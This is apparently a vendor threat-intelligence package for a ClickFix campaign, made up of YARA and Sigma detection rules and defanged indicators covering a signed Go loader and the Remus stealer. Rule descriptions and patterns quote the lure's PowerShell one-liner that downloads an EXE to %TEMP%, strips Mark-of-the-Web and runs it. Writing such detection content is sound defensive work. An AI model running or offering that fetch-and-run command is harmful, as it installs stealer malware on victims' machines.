ClickFix v18: Cloudflare-fronted stagers and a new signed Go loader

/*
   SecureLeaf CTI — SL-ADV-2026-WP-001 / v18 ruleset — Rev 1.3
   TLP:CLEAR · Author: SecureLeaf (Dispensight) · 2026-10-10
   Source: Triage 261010-j1glqats2k + 261010-kf6ksaaw9r, payload carved from DSB-decrypted pcapng
   Reference sample: SHA-256 89167953e926d3a3f16185f07a2f9b28ba3f1aff7c0a72c7423ce471889b8818

   Rule tiers:
     _Exact   = sample/cert specific, near-zero FP, short shelf life
     _Struct  = structural / builder traits, survive re-builds, check FPs before blocking
     _Hunt    = broad hunting only, never auto-block
*/

import "pe"
import "hash"
import "math"

rule SL_WP001_v18_GoLoader_GraniteSystems_Exact
{
    meta:
        description = "v18 Go loader: Go buildinfo module path 'GraniteSystemsAnalytics' (trimpath, CGO off)"
        author = "SecureLeaf"
        date = "2026-10-10"
        tlp = "CLEAR"
        reference = "SL-ADV-2026-WP-001 v18"
        hash = "89167953e926d3a3f16185f07a2f9b28ba3f1aff7c0a72c7423ce471889b8818"
        tier = "exact"
    strings:
        $bi   = "\xff Go buildinf:"
        $mod1 = "path\tGraniteSystemsAnalytics\n"
        $mod2 = "mod\tGraniteSystemsAnalytics\t(devel)"
        $tp   = "build\t-trimpath=true"
    condition:
        uint16(0) == 0x5A4D and pe.machine == pe.MACHINE_AMD64 and
        $bi and ($mod1 or $mod2) and $tp
}

rule SL_WP001_v18_SelfSigned_GraniteSystems_Cert_Exact
{
    meta:
        description = "v18 Authenticode: self-signed code-signing cert 'Granite Systems Analytics' (DigiCert-timestamped 2026-10-08)"
        author = "SecureLeaf"
        date = "2026-10-10"
        tlp = "CLEAR"
        cert_sha1 = "ba09da640c57ca2ce5189e2c4bc7238f0207bb4e"
        cert_serial = "3e:91:e8:19:48:60:db:a9:50:17:9f:b4:f3:87:5f:c5"
        tier = "exact"
    condition:
        uint16(0) == 0x5A4D and
        for any i in (0 .. pe.number_of_signatures - 1) : (
            pe.signatures[i].thumbprint == "ba09da640c57ca2ce5189e2c4bc7238f0207bb4e" or
            ( pe.signatures[i].subject contains "Granite Systems Analytics" and
              pe.signatures[i].issuer  contains "Granite Systems Analytics" )
        )
}

rule SL_WP001_v18_GoLoader_DecimalTripletBlob_Struct
{
    meta:
        description = "v18 builder trait: Go x64 PE with garbled main.* symbols and a long run of ASCII decimal digits (inner stage encoded as 3-digit decimal byte triplets, ~789 KB in .data)"
        author = "SecureLeaf"
        date = "2026-10-10"
        tlp = "CLEAR"
        tier = "structural"
        note = "Discriminator: >40% of .data bytes are ASCII digits (reference sample ~85%). Validate on your Go corpus before blocking"
    strings:
        $bi    = "\xff Go buildinf:"
        $mm    = "main.main"
        $xml   = "encoding/xml"
    condition:
        uint16(0) == 0x5A4D and pe.machine == pe.MACHINE_AMD64 and
        $bi and $mm and $xml and
        for any i in (0 .. pe.number_of_sections - 1) : (
            pe.sections[i].name == ".data" and pe.sections[i].raw_data_size > 65536 and
            (math.count(48, pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) + math.count(49, pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) + math.count(50, pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) + math.count(51, pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) + math.count(52, pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) + math.count(53, pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) + math.count(54, pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) + math.count(55, pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) + math.count(56, pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) + math.count(57, pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size)) * 100 > pe.sections[i].raw_data_size * 40
        )
}

rule SL_WP001_v18_ClickFix_Lure_HTML_Struct
{
    meta:
        description = "v18 ClickFix lure page: SingleFile/WebScrapBook clone of a CF 'Just a moment...' page with 'dov-' kit markers and a baked-in iwr -> %TEMP%\\a.exe clipboard command"
        author = "SecureLeaf"
        date = "2026-10-10"
        tlp = "CLEAR"
        tier = "structural"
    strings:
        $d1 = "id=\"dov-offer-flow\""
        $d2 = "id=\"dov-offer-theme\""
        $d3 = "id=\"dov-status-i18n\""
        $d4 = "id=\"dov-cf-polish\""
        $d5 = "dov-wait-hint"
        $c1 = "const clipboardCommand" ascii
        $c2 = "-OutFile $env:TEMP\\\\a.exe;Unblock-File" ascii
        $c3 = "id=\"checkbox-verify\""
        $c4 = "id=\"clipboard-text\""
        $l2 = "data-scrapbook-source=" ascii
    condition:
        filesize < 2MB and (
            (3 of ($d*) and 1 of ($c*)) or
            ($c1 and $c2 and ($c3 or $c4)) or
            (2 of ($d*) and $l2 and 1 of ($c*))
        )
}

rule SL_WP001_v18_ClickFix_Clipboard_OneLiner_Hunt
{
    meta:
        description = "v18 clipboard/RunMRU payload: powershell -ep bypass -w h -c iwr '<stager>/<word>/<6 lc>/<Word>_<6 hex>.exe' -OutFile $env:TEMP\\a.exe;Unblock-File ...;start"
        author = "SecureLeaf"
        date = "2026-10-10"
        tlp = "CLEAR"
        tier = "hunt"
        scope = "Memory, PS transcripts, RunMRU hive exports, browser cache, clipboard captures"
    strings:
        $re = /powershell(\.exe)?\s+-ep\s+bypass\s+-w\s+h\s+-c\s+\\?"iwr\s+'https:\/\/[a-z0-9.-]{4,64}\/(setup|install|package|mac|app)\/[a-z0-9]{6}\/([A-Za-z][A-Za-z0-9]{1,10}_)?[0-9a-f]{6,8}\.exe'\s+-OutFile\s+\$env:TEMP\\{1,2}[a-z]\.exe/ ascii wide nocase
    condition:
        $re
}

rule SL_WP001_v18_GoLoader_SplitMix64_DigitBlob_Hunt
{
    meta:
        description = "v18 loader trait: Go x64 PE whose .text loads the SplitMix64 golden-gamma imm64 (0x9E3779B97F4A7C15, mov rbx) next to a long ASCII-decimal blob; likely a custom PRNG keystream for the inner stage (no AES/ChaCha/RC4 constants present)"
        author = "SecureLeaf"
        date = "2026-10-10"
        tlp = "CLEAR"
        tier = "hunt"
        location = "main.v5cgH90hsgc @ 0x4e3a29 / 0x4e3a40 in reference sample"
    strings:
        $bi    = "\xff Go buildinf:"
        $gamma = { 48 BB 15 7C 4A 7F B9 79 37 9E }
        $gam2  = { 48 B9 ?? ?? ?? 7F B9 79 37 9E }
    condition:
        uint16(0) == 0x5A4D and pe.machine == pe.MACHINE_AMD64 and $bi and ($gamma or $gam2) and
        for any i in (0 .. pe.number_of_sections - 1) : (
            pe.sections[i].name == ".data" and pe.sections[i].raw_data_size > 65536 and
            (math.count(48, pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) + math.count(49, pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) + math.count(50, pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) + math.count(51, pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) + math.count(52, pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) + math.count(53, pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) + math.count(54, pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) + math.count(55, pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) + math.count(56, pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) + math.count(57, pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size)) * 100 > pe.sections[i].raw_data_size * 40
        )
}

rule SL_WP001_v18_GoLoader_CLRHost_Behavioral_Hunt
{
    meta:
        description = "v18 behavioral: the Go loader hosts the .NET CLR in-process (clr.dll v4.8 mapped into a.exe), so the decrypted inner stage is a managed .NET assembly. Hunt string set for a memory image of the a.exe process, not the on-disk file."
        author = "SecureLeaf"
        date = "2026-10-10"
        tlp = "CLEAR"
        tier = "hunt"
        scope = "Process memory of the Go loader (a.exe), NOT the on-disk PE"
    strings:
        $go  = "\xff Go buildinf:"
        $mod = "GraniteSystemsAnalytics"
        $clr1 = "clr.dll" ascii
        $clr2 = "Common Language Runtime" ascii
        $clr3 = "mscoree.dll" ascii nocase
    condition:
        $go and $mod and 2 of ($clr*)
}

rule SL_WP001_v18_Remus_Payload_Unpacked_Exact
{
    meta:
        description = "v18 delivered stealer, unpacked by CAPE: native x64 Remus payload (CAPE 'Remus' signature). 247,296 bytes, compiled 2026-10-08. Same family as v15-v17."
        author = "SecureLeaf"
        date = "2026-10-10"
        tlp = "CLEAR"
        tier = "exact"
        payload_imphash = "56be24246517d20cf4bfe1b911b90ec3"
        note = "Hash-matched only; payload PE not on hand to match-test."
    condition:
        uint16(0) == 0x5A4D and
        ( hash.sha256(0, filesize) == "9020bd5cde920fb3b59488af8926c26ffd703bf7d570af62f7b96fe3d7110ace" or
          hash.md5(0, filesize) == "aa46a8f4320426fd434e33fc63701bf1" )
}

rule SL_WP001_v18_Remus_Payload_Struct_Hunt
{
    meta:
        description = "Native Remus stealer traits (hunt): small x64 PE that screenshots (gdi32 BitBlt/GetDIBits) via a hidden desktop (CreateDesktopW/OpenDesktopW), reads keyboard layout and sets a COM proxy blanket. Structural; validate before blocking."
        author = "SecureLeaf"
        date = "2026-10-10"
        tlp = "CLEAR"
        tier = "hunt"
        note = "Written from CAPE import listing; not match-tested."
    strings:
        $i1 = "CreateDesktopW" ascii
        $i2 = "OpenDesktopW" ascii
        $i3 = "BitBlt" ascii
        $i4 = "GetDIBits" ascii
        $i5 = "CreateCompatibleBitmap" ascii
        $i6 = "GetKeyboardLayoutNameW" ascii
        $i7 = "CoSetProxyBlanket" ascii
        $i8 = "GetComputerNameExA" ascii
    condition:
        uint16(0) == 0x5A4D and pe.machine == pe.MACHINE_AMD64 and filesize < 1MB and 6 of ($i*)
}

# SecureLeaf CTI — SL-ADV-2026-WP-001 / v18 Sigma rules — Rev 1.2 — TLP:CLEAR
# Rule IDs are UUIDv5(ns=UUIDv5(DNS,'secureleaf.dispensight.com'), 'sigma:<slug>')
title: WP-001 v18 ClickFix - PowerShell iwr to %TEMP%\a.exe with Unblock-File and start
id: cef70f0a-a2a9-56fa-be19-55352d85edb9
status: experimental
description: |
    Detects the v18 ClickFix paste: hidden PowerShell downloads an EXE with Invoke-WebRequest to
    $env:TEMP\a.exe, strips Mark-of-the-Web with Unblock-File, then runs it. Pasted into Win+R, so the
    parent is usually explorer.exe.
references:
    - https://secureleaf.dispensight.com/
author: SecureLeaf (Dispensight)
date: 2026-10-10
tags:
    - attack.execution
    - attack.t1059.001
    - attack.t1204.004
    - attack.command-and-control
    - attack.t1105
    - attack.defense-evasion
    - attack.t1553.005
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith:
            - '\powershell.exe'
            - '\pwsh.exe'
        - OriginalFileName:
            - 'PowerShell.EXE'
            - 'pwsh.dll'
    selection_cli:
        CommandLine|contains|all:
            - 'iwr '
            - '-OutFile'
            - '$env:TEMP\'
            - 'Unblock-File'
            - 'start '
    selection_flags:
        CommandLine|contains:
            - '-ep bypass'
            - '-w h'
    condition: all of selection_*
falsepositives:
    - Unlikely; legitimate installers do not combine hidden window, iwr to a.exe, Unblock-File and start in one line
level: high
---
title: WP-001 v18 ClickFix - RunMRU entry containing iwr / Unblock-File one-liner
id: 5076d8e9-cb63-5248-baae-ad3910ea0f01
status: experimental
description: Win+R history (RunMRU) records the pasted v18 ClickFix command; useful for retro-hunting endpoints after the fact.
author: SecureLeaf (Dispensight)
date: 2026-10-10
tags:
    - attack.execution
    - attack.t1204.004
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|contains: '\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\'
        Details|contains|all:
            - 'powershell'
            - 'iwr'
            - 'Unblock-File'
    condition: selection
falsepositives:
    - Admins pasting download one-liners into the Run dialog
level: high
---
title: WP-001 v18 - %TEMP%\a.exe spawned by PowerShell
id: 73b54114-21d9-53f8-bbe9-db86960ff1f0
status: experimental
description: The v18 stage-1 (Go loader) is always written and launched as %TEMP%\a.exe by the ClickFix PowerShell.
author: SecureLeaf (Dispensight)
date: 2026-10-10
tags:
    - attack.execution
    - attack.t1204.002
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith:
            - '\powershell.exe'
            - '\pwsh.exe'
        Image|re: '\\AppData\\Local\\Temp\\[a-z]\.exe$'
    condition: selection
falsepositives:
    - Rare build/test scripts that drop a.exe into TEMP
level: high
---
title: WP-001 v18 - Stager payload URI pattern fetched by Windows PowerShell
id: ff2a6205-da05-57f5-bba5-f8f1d2e89cc7
status: experimental
description: |
    The v18 lure rotates stager host and path on every page load:
    /<setup|install|package|mac>/<6 lowercase alnum>/<Word>_<6 hex>.exe, fetched by the
    WindowsPowerShell/5.1 iwr User-Agent. Seen on degpoints.com, soutslts.com, seaopencd.com.
    Needs TLS inspection, since the stagers are HTTPS behind Cloudflare.
author: SecureLeaf (Dispensight)
date: 2026-10-10
tags:
    - attack.command-and-control
    - attack.t1105
logsource:
    category: proxy
detection:
    selection_uri:
        c-uri|re: '^/(setup|install|package|mac|app)/[a-z0-9]{6}/([A-Za-z][A-Za-z0-9]{1,10}_)?[0-9a-f]{6,8}\.exe$'
    selection_ua:
        c-useragent|contains: 'WindowsPowerShell/'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high
---
title: WP-001 v18 - DNS query for v18 stager / lure domains
id: 1df98797-62b2-5ea0-88d1-1428ef93e55e
status: experimental
description: All three registered 2026-10-09 10:52-11:19Z at CNOBIN (IANA 3254), Cloudflare NS. Lure and stager are the same host (degpoints.com serves both).
author: SecureLeaf (Dispensight)
date: 2026-10-10
tags:
    - attack.command-and-control
    - attack.t1071.001
    - attack.resource-development
    - attack.t1583.001
logsource:
    category: dns_query
    product: windows
detection:
    selection:
        QueryName:
            - 'degpoints.com'
            - 'soutslts.com'
            - 'seaopencd.com'
    condition: selection
falsepositives:
    - None expected
level: high
---
title: WP-001 v18 - Go loader by hash
id: fb8eead2-61f2-5c74-a904-e491d3ed38f6
status: experimental
description: |
    Stage-1 Go loader (module GraniteSystemsAnalytics). Self-signed Authenticode signature
    'Granite Systems Analytics' (thumbprint BA09DA640C57CA2CE5189E2C4BC7238F0207BB4E), so look
    for SignatureStatus not Valid where your telemetry has it. Same hash served under all observed URLs.
author: SecureLeaf (Dispensight)
date: 2026-10-10
tags:
    - attack.execution
    - attack.t1204.002
    - attack.defense-evasion
    - attack.t1553.002
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Hashes|contains:
            - 'SHA256=89167953E926D3A3F16185F07A2F9B28BA3F1AFF7C0A72C7423CE471889B8818'
            - 'MD5=648C8ADE329EA235C26D7B8EDB1373D2'
    condition: selection
falsepositives:
    - None expected for the hashes. The imphash (d42595b6...) is deliberately left out because it is the generic Go 1.23 CGO-off runtime import set (a benign test build reproduces it)
level: high
---
title: WP-001 v18 - .NET CLR hosted by %TEMP% EXE (Go loader runs a managed inner stage)
id: 43a4cee6-6ab4-5f9c-8d17-3a586dcb0bed
status: experimental
description: |
    The v18 Go loader (%TEMP%\a.exe) maps the .NET runtime in-process to run its decrypted managed inner
    stage (clr.dll 4.8.9266.0 inside the a.exe process). A native EXE in %TEMP% loading clr.dll / mscoree is
    unusual and worth alerting on.
author: SecureLeaf (Dispensight)
date: 2026-10-10
tags:
    - attack.execution
    - attack.t1055.001
    - attack.defense-evasion
logsource:
    category: image_load
    product: windows
detection:
    selection:
        Image|contains: '\AppData\Local\Temp\'
        Image|endswith: '.exe'
        ImageLoaded|endswith:
            - '\clr.dll'
            - '\mscoree.dll'
            - '\mscoreei.dll'
            - '\clrjit.dll'
    condition: selection
falsepositives:
    - Portable .NET tools launched from %TEMP%
level: medium

# SL-ADV-2026-WP-001 v18 — defanged IOCs — Rev 1.3 — TLP:CLEAR — 2026-10-10
# Domains (block)
degpoints[.]com
soutslts[.]com
seaopencd[.]com
# Domains (hunt / template residue, not contacted)
capcloud[.]icu
# URLs
hxxps://degpoints[.]com/setup/gqnnqh/Release_e1a956[.]exe
hxxps://degpoints[.]com/install/bpgcbp/Package_bcdda8[.]exe
hxxps://seaopencd[.]com/package/mmxzuh/App_57e0a6[.]exe
hxxps://soutslts[.]com/mac/7t9zjq/Client_eff787[.]exe
hxxps://seaopencd[.]com/mac/ec7dpm/29be0339[.]exe
hxxps://seaopencd[.]com/app/z3et3q/3a90ae5d[.]exe
# URI regex
^/(setup|install|package|mac|app)/[a-z0-9]{6}/([A-Za-z][A-Za-z0-9]{1,10}_)?[0-9a-f]{6,8}\.exe$
# Stage-1 Go loader (a.exe)
sha256 89167953e926d3a3f16185f07a2f9b28ba3f1aff7c0a72c7423ce471889b8818
sha1   1bdbcbd10f568aab574ec9c49c217accd7c8a358
md5    648c8ade329ea235c26d7b8edb1373d2
# Self-signed code-signing cert "Granite Systems Analytics"
cert_sha1   ba09da640c57ca2ce5189e2c4bc7238f0207bb4e
cert_sha256 d94ef41693c45fa1dbc89c806508bda85f09a001b2e5473b9970be356c2a2def
cert_serial 3e91e8194860dba950179fb4f3875fc5
# Encrypted inner blob (decoded from decimal triplets)
sha256 aba7c0c8b2c1ea98744317cc59f03ee59e169eb0fc20a016c7361ad536b8b5f1
# Context only — Cloudflare edge, DO NOT blocklist
172.64.80.1 172.67.170.23 104.21.39.86 172.67.190.69 172.67.191.179

# Behavioral (long run 2026-10-10, ~18 min) — observations, not file IOCs
# - a.exe hosts the .NET CLR in-process (clr.dll 4.8.9266.0) -> managed .NET inner stage
# - a second process spawned with non-readable memory
# - payload fetched ~2 min after launch; no C2 beyond the stager during the capture
# delivered stealer CONFIRMED Remus (CAPE 'Remus' signature), native x64, same family as v15-v17
# Unpacked Remus payload:
sha256 9020bd5cde920fb3b59488af8926c26ffd703bf7d570af62f7b96fe3d7110ace
md5    aa46a8f4320426fd434e33fc63701bf1
imphash 56be24246517d20cf4bfe1b911b90ec3
# Go loader Build ID (durable): Z2Gh9BKCSITYUsvKsZyK/vk-pITAx5PbugUGc2DsM/YyJ
# JA3 of the PowerShell stager fetch (durable): 3b5074b1b5d032e5620f69f9f700ff0e
# dropped filename rotates: a.exe / x.exe
# Cloudflare edge for seaopencd (context only, DO NOT block): 188.114.96.3 188.114.97.3